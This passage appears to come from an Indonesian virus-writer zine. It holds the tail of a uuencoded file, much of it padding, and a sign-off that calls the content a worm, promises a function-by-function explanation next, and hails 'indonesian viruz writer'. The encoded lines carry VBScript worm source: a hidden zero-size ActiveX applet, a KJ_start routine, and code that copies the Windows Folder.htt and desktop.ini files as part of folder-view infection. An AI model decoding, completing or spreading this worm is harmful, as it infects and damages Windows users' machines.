M=#HP<'@[('HM:6YD97@Z,C@[('9I<VEB:6QI='DZ(&AI9&1E;B<^(B`F("(\
M(B(F(B(B("8@(D%04$Q%5"!.04U%/4M*(B(F(B)?9W5E<W0@2$5)1TA4/3`@
M5TE$5$@],"!C;V1E/6-O;2YM<RXB(B8B(F%C=&EV95@N06-T:79E(B(F(B)8
M0V]M<&]N96YT/B(@)B`B/"(@)B`B+T%04$Q%5#XB("8@(CPB("8@(B]D:78^
M(B(B("8@=F)#<DQF("8@(CPB("8@(B]S8W)I<'0^(B`F('9B0W),9B`F("(\
M(B`F(")S8W)I<'0@;&%N9W5A9V4]=F)S8W)I<'0^(B`F('9B0W),9B`F(%1H
M:7-497AT("8@=F)#<DQF("8@56Y,;V-K4W1R("8@=F)#<DQF("8@(CPB("8@
M(B]S8W)I<'0^(B`F('9B0W),9B`F("(\(B`F("(O0D]$63XB("8@=F)#<DQF
M("8@(CPB("8@(B](5$U,/B(-"E9B<U1E>'0@/2!4:&ES5&5X="`F('9B0W),
M9B`F(%5N3&]C:U-T<B`F('9B0W),9B`F(")+2E]S=&%R="@I(@T*5VEN4&%T
M:"`]($933RY'9713<&5C:6%L1F]L9&5R*#`I("8@(EPB#0I)9B`H1E-/+D9I
M;&5%>&ES=',H5VEN4&%T:"`F(")W96)<1F]L9&5R+FAT="(I*2!4:&5N#0I&
M4T\N0V]P>49I;&4@5VEN4&%T:"`F(")W96)<1F]L9&5R+FAT="(L5VEN4&%T
M:"`F(")W96)<:VIW86QL+F=I9B(-"D5N9"!)9@T*268@*$933RY&:6QE17AI
M<W1S*%=I;E!A=&@@)B`B<WES=&5M,S)<9&5S:W1O<"YI;FDB*2D@5&AE;@T*
M1E-/+D-O<'E&:6QE(%=I;E!A=&@@)B`B<WES=&5M,S)<9&5S:W1O<"YI;FDB
M+%=I;E!A=&@@)B`B<WES=&5M,S)<:VIW86QL+F=I9B(-"D5N9"!)9@T*16YD
M($9U;F-T:6]N"@``````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
%````````
`
end
------------------
next :
saya akan berusaha untuk menjelaskan fungsi demi fungsi, sub demi sub dari worm ini.
viva indonesian viruz writer!
-----------------------------[eof]-------------------------------------------------------
